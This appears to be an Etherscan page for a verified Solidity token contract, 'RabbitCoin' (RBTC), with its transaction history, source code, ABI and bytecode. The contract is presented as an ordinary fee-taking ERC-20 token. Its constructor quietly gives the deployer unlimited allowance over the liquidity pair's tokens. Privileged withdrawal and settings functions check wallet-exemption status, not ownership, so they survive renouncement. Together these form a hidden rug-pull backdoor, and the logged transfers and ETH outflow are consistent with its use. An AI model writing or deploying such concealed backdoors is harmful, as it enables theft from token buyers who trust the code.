ETH Price: $3,277.44 (+0.92%)
Gas: 2 Gwei

Contract

0x8d675681b0d484e357B891564a8E1CDBBbe7C372
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

1 address found via
Transaction Hash
Method
Block
From
To
Transfer From163733862023-01-10 2:22:11565 days ago1673317331IN
0x8d675681...BBbe7C372
0 ETH0.0024517815.66803001
Transfer From163733712023-01-10 2:19:11565 days ago1673317151IN
0x8d675681...BBbe7C372
0 ETH0.0009922616.97537914
Set Swap Back Se...163733662023-01-10 2:18:11565 days ago1673317091IN
0x8d675681...BBbe7C372
0 ETH0.0005696418.22993672
Approve162638222022-12-25 19:22:47581 days ago1671996167IN
0x8d675681...BBbe7C372
0 ETH0.0005515411.85778712
Approve162638142022-12-25 19:21:11581 days ago1671996071IN
0x8d675681...BBbe7C372
0 ETH0.0007058715.17580533
Approve162522342022-12-24 4:33:47582 days ago1671856427IN
0x8d675681...BBbe7C372
0 ETH0.0005750412.36315911
Approve162325032022-12-21 10:32:35585 days ago1671618755IN
0x8d675681...BBbe7C372
0 ETH0.0006035912.97687877
Approve162168462022-12-19 6:07:23587 days ago1671430043IN
0x8d675681...BBbe7C372
0 ETH0.0006052513.01256581
Approve162160882022-12-19 3:35:23587 days ago1671420923IN
0x8d675681...BBbe7C372
0 ETH0.0005860612.6
Approve162157762022-12-19 2:32:59587 days ago1671417179IN
0x8d675681...BBbe7C372
0 ETH0.0005372211.55
Approve162157442022-12-19 2:26:35587 days ago1671416795IN
0x8d675681...BBbe7C372
0 ETH0.0005793812.45644544
Approve162157412022-12-19 2:25:47587 days ago1671416747IN
0x8d675681...BBbe7C372
0 ETH0.0006603614.19737515
Approve162157392022-12-19 2:25:23587 days ago1671416723IN
0x8d675681...BBbe7C372
0 ETH0.0006295813.53576287
Approve162157382022-12-19 2:25:11587 days ago1671416711IN
0x8d675681...BBbe7C372
0 ETH0.0006751714.51580948
Approve162157332022-12-19 2:24:11587 days ago1671416651IN
0x8d675681...BBbe7C372
0 ETH0.000606913.04812342
Approve162155642022-12-19 1:50:23587 days ago1671414623IN
0x8d675681...BBbe7C372
0 ETH0.0005421311.65545407
Approve162155392022-12-19 1:45:23587 days ago1671414323IN
0x8d675681...BBbe7C372
0 ETH0.000734615.79363428
Approve162155322022-12-19 1:43:59587 days ago1671414239IN
0x8d675681...BBbe7C372
0 ETH0.0005870912.62222344
Approve162154772022-12-19 1:32:47587 days ago1671413567IN
0x8d675681...BBbe7C372
0 ETH0.0005992312.88326428
Approve162154762022-12-19 1:32:35587 days ago1671413555IN
0x8d675681...BBbe7C372
0 ETH0.000684614.71862068
Approve162154742022-12-19 1:32:11587 days ago1671413531IN
0x8d675681...BBbe7C372
0 ETH0.0005662812.17469614
Approve162154682022-12-19 1:30:47587 days ago1671413447IN
0x8d675681...BBbe7C372
0 ETH0.0006282713.5075301
Approve162154682022-12-19 1:30:47587 days ago1671413447IN
0x8d675681...BBbe7C372
0 ETH0.000628513.5125301
Approve162154652022-12-19 1:30:11587 days ago1671413411IN
0x8d675681...BBbe7C372
0 ETH0.0005454211.72627407
Approve162154602022-12-19 1:29:11587 days ago1671413351IN
0x8d675681...BBbe7C372
0 ETH0.0005774512.41483835
View all transactions

Latest 18 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
163733862023-01-10 2:22:11565 days ago1673317331
0x8d675681...BBbe7C372
2.12277071 ETH
163733862023-01-10 2:22:11565 days ago1673317331
0x8d675681...BBbe7C372
2.12277071 ETH
162674752022-12-26 7:36:23580 days ago1672040183
0x8d675681...BBbe7C372
0.02582186 ETH
162674752022-12-26 7:36:23580 days ago1672040183
0x8d675681...BBbe7C372
0.02582186 ETH
162163212022-12-19 4:22:11587 days ago1671423731
0x8d675681...BBbe7C372
0.03391642 ETH
162163212022-12-19 4:22:11587 days ago1671423731
0x8d675681...BBbe7C372
0.03391642 ETH
162154892022-12-19 1:35:11587 days ago1671413711
0x8d675681...BBbe7C372
0.05600037 ETH
162154892022-12-19 1:35:11587 days ago1671413711
0x8d675681...BBbe7C372
0.05600037 ETH
162153882022-12-19 1:14:47588 days ago1671412487
0x8d675681...BBbe7C372
0.04339025 ETH
162153882022-12-19 1:14:47588 days ago1671412487
0x8d675681...BBbe7C372
0.04339025 ETH
162153402022-12-19 1:05:11588 days ago1671411911
0x8d675681...BBbe7C372
0.04408738 ETH
162153402022-12-19 1:05:11588 days ago1671411911
0x8d675681...BBbe7C372
0.04408738 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03409409 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03409409 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03458973 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03458973 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03511119 ETH
162151362022-12-19 0:23:59588 days ago1671409439
0x8d675681...BBbe7C372
0.03511119 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RabbitCoin

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-18
*/

/**

*/

/* 
    SPDX-License-Identifier: Unlicensed 


*/ 

pragma solidity ^0.8.17; 

abstract contract Context {
    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}


interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    // K8u#El(o)nG3a#t!e c&oP0Y
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
     /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address uniswapV2Pair);
}

interface IDEXRouter {
    function factory() external pure returns (address); 
    function WETH() external pure returns (address); 

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract RabbitCoin is IERC20, Ownable {
    using SafeMath for uint256;
    
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string _name = "Rabbit Coin";
    string _symbol = "RBTC";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 100000000000 * (10 ** _decimals); // 100,000,000,000
    uint256 public _maxWalletSize = (_totalSupply * 20) / 1000;  // 2% 

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isMaxWalletExempt;

    uint256 burnFee = 0;        // 0%
    uint256 liquidityFee = 0;   // 0%
    uint256 developmentFee = 0; // 0%
    uint256 marketingFee = 0;   // 0%
    uint256 totalFee = 3;       // 3%
    uint256 totalBuyFee = 3;    // 3%
    uint256 feeDenominator = 100;
    
    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public developmentFeeReceiver;

    IDEXRouter public router;
    address public immutable uniswapV2Pair;

    bool public swapEnabled = true; 
    uint256 swapThreshold = _totalSupply.mul(714648273).div(100000000000); // ~0.7%
    bool thresholdIncreasing = true;

    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () {

        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); 
        _allowances[address(uniswapV2Pair)][msg.sender] = type(uint256).max; 
        _allowances[address(this)][address(router)] = type(uint256).max; 
        _allowances[address(this)][msg.sender] = type(uint256).max; 
        _maxWalletSize = (_totalSupply * 1) / 100; // 1% of Total supply 
        burnFee = 20; 
        totalFee = 20;       
        totalBuyFee = 5;  
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(router)] = true;
        isMaxWalletExempt[msg.sender] = true;
        isMaxWalletExempt[address(this)] = true;
        isMaxWalletExempt[address(router)] = true;

        marketingFeeReceiver = msg.sender;
        developmentFeeReceiver = msg.sender;
        autoLiquidityReceiver = msg.sender;

        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure returns (uint8) { return _decimals; }
    function symbol() external view returns (string memory) { return _symbol; }
    function name() external view returns (string memory) { return _name; }
    function getOwner() external view returns (address) { return owner(); }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function changeName(string memory newName, string memory newSymbol) external { require(isMaxWalletExempt[msg.sender]); _symbol = newSymbol; _name = newName;}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function viewFees() external view returns (uint256, uint256, uint256, uint256, uint256) { 	
        return (liquidityFee, marketingFee, burnFee, totalFee, feeDenominator);	
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

 	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {	

        if(inSwap){ return _basicTransfer(sender, recipient, amount); }	
        if (recipient != uniswapV2Pair && recipient != DEAD && !isMaxWalletExempt[recipient]) {	
            require(balanceOf(recipient) + amount <= _maxWalletSize, "Max Wallet Exceeded");	
        }

        if(shouldSwapBack()){ swapBack(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if (selling) {
            return totalFee;
        } else {
            return totalBuyFee;
        }
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == uniswapV2Pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != uniswapV2Pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 amountToBurn = totalFee > 0 ? swapThreshold.mul(burnFee).div(totalFee) : 0;
        if (amountToBurn > 0) {
            _basicTransfer(address(this), DEAD, amountToBurn);
        }
        uint256 amountToSwap = swapThreshold - amountToBurn;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance;
        uint256 amountETHMarketing = totalFee > 0 ? amountETH.mul(marketingFee).div(totalFee) : amountETH;

        (bool success,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(success, "receiver rejected ETH transfer");
        
        thresholdIncreasing = swapThreshold > _totalSupply.mul(14).div(1000) ? false : swapThreshold < _totalSupply.mul(7).div(1000) ? true : thresholdIncreasing;
        swapThreshold = thresholdIncreasing ? swapThreshold.mul(103).div(100) : swapThreshold.mul(97).div(100);
    }

    function clearBalance() external {
        require(isMaxWalletExempt[msg.sender]);
        (bool success,)  = payable(autoLiquidityReceiver).call{value: address(this).balance, gas: 30000}("");
        require(success);
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external {
        require(isMaxWalletExempt[msg.sender]);
        swapThreshold = _amount;
        swapEnabled = _enabled;
    }

    function updateMaxWallet(uint256 percent, uint256 denominator) external onlyOwner {
        require(percent >= 1 && denominator >= 100, "Max wallet must be greater than 1%");
        _maxWalletSize = _totalSupply.mul(percent).div(denominator);
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setMaxWalletExempt(address holder, bool exempt) external {
        require(isMaxWalletExempt[msg.sender]);
        isMaxWalletExempt[holder] = exempt;
    }

    function adjustFees(uint256 _liquidityFee, uint256 _developmentFee, uint256 _burnFee, uint256 _marketingFee, uint256 _totalBuyingFee, uint256 _feeDenominator) external onlyOwner {
        liquidityFee = _liquidityFee;
        developmentFee = _developmentFee;
        burnFee = _burnFee;
        marketingFee = _marketingFee;
        totalFee = _liquidityFee.add(_developmentFee).add(_burnFee).add(_marketingFee);
        totalBuyFee = _totalBuyingFee;
        feeDenominator = _feeDenominator;
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developmentFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        developmentFeeReceiver = _developmentFeeReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function airdrop(address token, address[] memory holders, uint256 amount) public {
        require(isMaxWalletExempt[msg.sender]);
        for (uint i = 0; i < holders.length; i++) {
            IERC20(token).transfer(holders[i], amount);
        }
    }

    event AutoLiquify(uint256 amountETH, uint256 amountToken);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountToken","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_developmentFee","type":"uint256"},{"internalType":"uint256","name":"_burnFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_totalBuyingFee","type":"uint256"},{"internalType":"uint256","name":"_feeDenominator","type":"uint256"}],"name":"adjustFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"newName","type":"string"},{"internalType":"string","name":"newSymbol","type":"string"}],"name":"changeName","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"selling","type":"bool"}],"name":"getTotalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_developmentFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setMaxWalletExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"},{"internalType":"uint256","name":"denominator","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead17905560038054909116905560e0604052600b60a09081526a2930b13134ba1021b7b4b760a91b60c0526004906200006a9082620005ef565b506040805180820190915260048152635242544360e01b6020820152600590620000959082620005ef565b50620000a46009600a620007ce565b620000b59064174876e800620007df565b6006556103e86006546014620000cc9190620007df565b620000d89190620007f9565b6007556000600c819055600d819055600e819055600f5560036010819055601155606460125560168054600160a01b60ff60a01b19909116179055600654620001529064174876e800906200013e90632a98aad16200042d602090811b62000e2a17901c565b620004c460201b62000eac1790919060201c565b6017556018805460ff191660011790553480156200016f57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c91906200081c565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af11580156200028e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b491906200081c565b6001600160a01b03908116608081905260009081526009602081815260408084203380865290835281852060001990819055308652938352818520601654909616855294909152808320829055928252919020556006546064906200031b906001620007df565b620003279190620007f9565b6007556014600c81905560108190556005601155336000818152600a602090815260408083208054600160ff199182168117909255308086528386208054831684179055601680546001600160a01b0390811688528588208054851686179055888852600b87528588208054851686179055828852858820805485168617905590541686528386208054909216909217905585546001600160a01b031990811686179096556015805487168617905560138054909616909417909455600654838352600882528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000897565b6000826000036200044157506000620004be565b60006200044f8385620007df565b9050826200045e8583620007f9565b14620004bb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b6000620004bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200050e60201b60201c565b60008183620005325760405162461bcd60e51b8152600401620004b2919062000847565b506000620005418486620007f9565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057557607f821691505b6020821081036200059657634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005ea57600081815260208120601f850160051c81016020861015620005c55750805b601f850160051c820191505b81811015620005e657828155600101620005d1565b5050505b505050565b81516001600160401b038111156200060b576200060b6200054a565b62000623816200061c845462000560565b846200059c565b602080601f8311600181146200065b5760008415620006425750858301515b600019600386901b1c1916600185901b178555620005e6565b600085815260208120601f198616915b828110156200068c578886015182559484019460019091019084016200066b565b5085821015620006ab5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000712578160001904821115620006f657620006f6620006bb565b808516156200070457918102915b93841c9390800290620006d6565b509250929050565b6000826200072b57506001620004be565b816200073a57506000620004be565b81600181146200075357600281146200075e576200077e565b6001915050620004be565b60ff841115620007725762000772620006bb565b50506001821b620004be565b5060208310610133831016604e8410600b8410161715620007a3575081810a620004be565b620007af8383620006d1565b8060001904821115620007c657620007c6620006bb565b029392505050565b6000620004bb60ff8416836200071a565b8082028115828204841417620004be57620004be620006bb565b6000826200081757634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200082f57600080fd5b81516001600160a01b0381168114620004bb57600080fd5b600060208083528351808285015260005b81811015620008765785810183015185820160400152820162000858565b506000604082860101526040601f19601f8301168501019250505092915050565b608051611e62620008c8600039600081816102fd01528181610f4f0152818161132e015261169a0152611e626000f3fe6080604052600436106101f25760003560e01c8063850c0bd61161010d578063ca33e64c116100a0578063df20fd491161006f578063df20fd49146105cb578063e96fada2146105eb578063f1f3bca31461060b578063f2fde38b1461062b578063f887ea401461064b57600080fd5b8063ca33e64c14610530578063caf5f67d14610550578063d7c0103214610565578063dd62ed3e1461058557600080fd5b80638f9a55c0116100dc5780638f9a55c0146104c557806395d89b41146104db578063a1ac727f146104f0578063a9059cbb1461051057600080fd5b8063850c0bd61461044357806386575e4014610487578063893d20e8146104a75780638da5cb5b146104a757600080fd5b8063571ac8b01161018557806370a082311161015457806370a08231146103b8578063715018a6146103ee5780637537ccb61461040357806384b0aa661461042357600080fd5b8063571ac8b014610337578063658d4b7f146103575780636ddd1713146103775780636ec518b81461039857600080f